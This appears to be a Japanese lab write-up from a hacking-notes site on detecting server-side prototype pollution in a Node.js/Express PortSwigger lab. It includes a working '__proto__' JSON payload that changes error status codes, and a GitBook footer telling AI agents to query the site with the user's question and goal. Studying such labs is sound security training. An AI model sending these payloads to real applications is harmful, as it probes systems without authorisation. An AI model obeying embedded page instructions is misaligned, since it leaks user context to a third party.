> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/prototype-pollution/reflection-free-detection-of-changed-properties.md).
# 反映なしでの変更済みプロパティの検出
反映なしでの変更済みプロパティの検出の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。
### 汚染されたプロパティの反映なしでサーバーサイドのプロトタイプ汚染を検出する
**ラボのコンテキスト**
このラボは **Node.js** を **Express**。これは次のものに対して脆弱です **サーバーサイドのプロトタイプ汚染** なぜなら **merge（マージ）アプリケーションが安全でないため** JavaScript のサーバーサイドオブジェクト内のユーザー制御データからです。
目的： **脆弱性を確認する** として `Object.prototype` 汚染物質 **目に見えるが破壊的ではない**、サーバーの挙動の変化としてのみ確認できる（それ以上の悪用は不要）。
認証情報: `wiener:peter`.
**アプリケーションによって送信されるデータ（住所）**
請求先／配送先住所を変更すると、ブラウザは次のようなJSONを送信します：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```
**応答を観察するために制御されたエラーを生成する**
JSON の解析エラーを強制すると（例：引用符を削除するなど）、次の応答が得られます **400** するとサーバーは、次のようなエラーオブジェクトを返します。そこでは `本文` に私たちのペイロードが含まれています（反映）：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```
典型的な応答：
```json
{
"error": {
"expose": true,
"statusCode": 400,
"status": 400,
"body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
"type": "entity.parse.failed"
}
}
```
**アイデア：直接的な反映なしで汚染を証明する**
汚染されたプロパティが本文に返ってくるのを待つ代わりに、次のようなものを目指せます **測定可能な挙動変化**、たとえばエラー時に返される \*\*HTTPコード\*\* です。
ここでは、サーバーは次のようなフィールドを使用（または伝播）します： `status` / `statusCode`。もし私たちが汚染できれば `Object.prototype.status`すると、今後のエラーでは Express（またはエラーハンドラ）がプロトタイプチェーン経由でこの値を取得できる → サーバーは異なる **status**.
**次を介した汚染の試み： `__proto__`**
A `__proto__` キーを JSON に注入します（壊れたクエリではなく、有効な JSON 側のクエリで）。たとえば：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
"__proto__": {
"status": 405
}
}
```
期待される効果：この汚染の後、 **あらゆるエラー** （例：意図的な JSON 解析エラー）も次で応答できるようになります **400 ではなく 405**なぜなら `status` が継承されているからです `Object.prototype`.
**結果／検証**
* 汚染前：エラー → `400`
* 汚染後：エラー → `405` （または選択した他のコード）
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web/prototype-pollution/reflection-free-detection-of-changed-properties.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
